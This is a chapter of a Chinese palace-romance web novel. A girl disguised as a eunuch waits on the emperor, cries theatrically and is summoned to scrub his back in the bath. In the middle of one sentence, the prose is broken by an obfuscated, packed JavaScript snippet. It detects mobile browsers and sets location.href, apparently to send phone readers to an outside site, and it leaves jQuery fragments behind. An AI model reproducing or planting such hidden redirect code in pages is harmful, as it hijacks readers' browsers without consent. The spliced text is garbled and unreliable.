#十八
燕时殊看着那又出现在自己面前对着他满脸敬仰的眯眯眼的小太监,眉头微拧了拧,“何人让你来的?”
云端老实回答:“是苏公公让小端子来伺候陛下的,陛下,您昨晚又遭蚊子咬了吗?身上怎么这么多红印子呀?”
燕时殊睡前大概沐浴过,身上换了一件新衣。
可这一觉过去,身上那件新的寝衣也已松松垮垮,他坐起身的时候,领口松散,清瘦的锁骨,胸前一大片的肌肤,都暴露在空气中。
他肤白,身上那些深深浅浅的印子,就格外引人注意。
燕时殊的脸色黑沉了下去,“被狗咬的。”
云端原本往上翘着的嘴角立马扭曲了一下,但面上还是挤出了一个担忧的神色:“怎会如此?陛下疼不疼?痛不痛啊?要不小端子给您叫太医吧陛下。”
燕时殊已经好久没听见过她那混响夹子音了,今天又听见了,耳朵隐隐的好像又有被什么东西给狠狠刺痛了一般的感觉。
“闭嘴。”这都是燕时殊不知道多少次对这小太监说这话了。
云端顿时一委屈,把嘴一瘪,就低下了脑袋不说话了。
若是平常的小太监,燕时殊早就叫人拖下去了。只不过这个小太监却偏偏有些特殊。起初是因为他治好了宫中的虫疫,燕时殊不能立马就把功臣怎么样,而之后,则是因为那个女人了。
虽然暂时还没有什么明确的证据,但这个小太监跟那女人总让他觉得有些奇怪,两者之间……
说不上来,但或许会有什么关系。
燕时殊看着云端那双眯眯眼,眼底忽而掠过一丝什么,半晌,他声音沙哑着喊了云端一声:“过来。”
云端委屈巴巴地上去了,“陛下……”
她话还没说完,脸就被另一只冰冷的手给抬了起来。
眯缝眼狭窄的视线里,她对上了燕时殊那双泛着寒意的浓墨凤眸。
燕时殊的手不知道为什么,冰冷得厉害,没有一丝温度,摸上云端脸颊的时候就好像一块冰一样。
那抹冰凉缓缓流连过云端的脸颊,停留在了云端眼尾的位置。
云端惶恐,还带着一点娇羞:“陛、陛下……?”
燕时殊直接伸手开始扒她眼皮。
然后就扒拉开一大片带着血丝的眼白。
“……别翻白眼。”
云端大喊冤枉:“冤枉啊陛下,奴才眼睛从小就长成这样啊呜呜呜呜——”
燕时殊用力扒拉了一会儿,看到的却还是只有小部分的眼白。
眼看着那细皮嫩肉的小太监眼泪汪汪开始掉金豆豆了,燕时殊还是收回了手——以防那些眼泪砸到他的手上。
但云端在他收回手之后还是低下脑袋,揉了揉眼睛,开始嘤嘤哭泣了起来:
“嘤嘤嘤小端子知道自己长相不佳,只是心中太过于仰慕陛下,所以才求着到陛下跟前伺候的嘤嘤嘤,不想今日居然污了陛下的眼睛嘤嘤嘤,小端子、小端子万死难辞其咎啊嘤嘤嘤嘤。”
嗡嗡嗡嗡嗡嗡……
“朕方才让你闭嘴,听不懂吗?”燕时殊实在头疼的厉害,他昨夜本来就没休息好,今日还碰上这个小太监……
想到这小太监刚刚说的是苏福禄让他过来伺候的,燕时殊心里对苏福禄都多了几分不耐。
燕时殊不让她说,但云端却偏要说:“小端子长的便已让**人怨了,连声音都扰了陛下的耳朵,小端子活着还有什么意义呢?小端子这就**嘤嘤嘤嘤嘤——”
说吧,云端就哭着要去撞墙。
但一直到她走到墙前,也没有听见燕时殊的喊她停下的声音。
她不由得回过了头,越发委屈:“陛下,您都不拦我吗……”
燕时殊只是淡淡看着她:“怎么,难道你不是一心求死的吗?还叫朕拦你?”
云端当然不是了:“不是呀陛下,小端子看话本里都是这么说的嘛……”
她又默默回到床边了,“**就看不见陛下了,小端子才不要死呢。”
身为皇帝,平日里对燕时殊表达仰慕之情的人多了去了,但是像这个小太监一
样……朴素的人,确实不多。
总归他暂时也还需要留着对方观察一下对方跟那女人之间到底有什么联系,燕时殊也就没有逼着一定要让云端去撞墙了。
云端却继续精神折磨他:“陛下,那小端子可以跟您说话了吗……”
燕时殊扫了一眼她那一双不知道为什么好像还闪着光似的眯眯眼,回答得很冷漠:“不能。”
云端顿时瘪了嘴,默默抹眼泪去不说话了。
燕时殊按了按太阳穴,“下去让人准备,朕要沐浴。”
还沐浴啊,他早上难道只是换了衣服
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17003936|193981||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
,没洗吗?
云端想不明白,但也不想了,下去让人准备浴堂热水了。
原本云端以为燕时殊这会看着自己烦,应该不会再想看见自己了,便打算找个地方摸鱼去。
结果她刚想走,苏福禄却叫住了她说:“去哪儿呢?陛下正要你过去伺候呢。”
云端奇怪:“叫我过去,为什么?”
苏福禄怎么知道,不过这毕竟是燕时殊的命令,他只要负责执行便是了:“不仅叫了你过去,还指明只要你一个人过去呢。快去吧,别耽误了,我看你小子日后就要得陛下看重了。”
云端莫名其妙,但还是回过头去浴堂了。
偌大的浴池中灌满了带着清香的热水,白雾袅袅,云端进去的时候,燕时殊已经坐在池子里了。
他背对着云端,坐在池边,墨发垂落在水面,粘连在玉白的肌肤之上。
虽然不知道这狗皇帝到底是怎么个狗脾气,但云端还是切换上了小端子模式,走到了燕时殊身后,“陛~下~下~下~”
听见她这声音,燕时殊就脑袋疼。
不过来除了云端之外,燕时殊也不想招其他人过来。
原因?
再简单不过。
燕时殊回过半边头,扫了云端一眼。
那墨色的长睫都已经沾上了水汽,瞧着那双眼睛也没有平时那般冷漠了,反而多了几分流连的多情。
云端看着他被热气蒸得微红的脸不由得奇怪。这个人怎么床下比床上的时候还勾人?
“可知道这是什么?”燕时殊指着自己后肩上一个咬痕问道。
云端嘴角抽动了一下,半晌,还是忍辱负重地答:“那狗还咬您肩膀啦陛下?她可真不是什么好狗!”
她就不是狗!她是水母!水母!水母!
但这句话却让燕时殊的唇角带出了几分笑意,那双墨眸微懒,逐渐收回,“是啊,那不听话的,恶狗。”
这皇宫里,除去这小太监外恐怕任何人见他这身痕迹,都能猜出他昨夜被人做了些什么。
哪怕是自己的人,燕时殊也不愿让他们看见自己这般模样。
唯有这个叫小端子的太监……
燕时殊闭上了眼睛,声音淡了下去,“擦背吧。”
云端在旁边摆着的丝绸帕子和系统商场里卖的刷碗钢丝球里犹豫了一下,最终还是因为心疼积分而选择了丝绸帕子。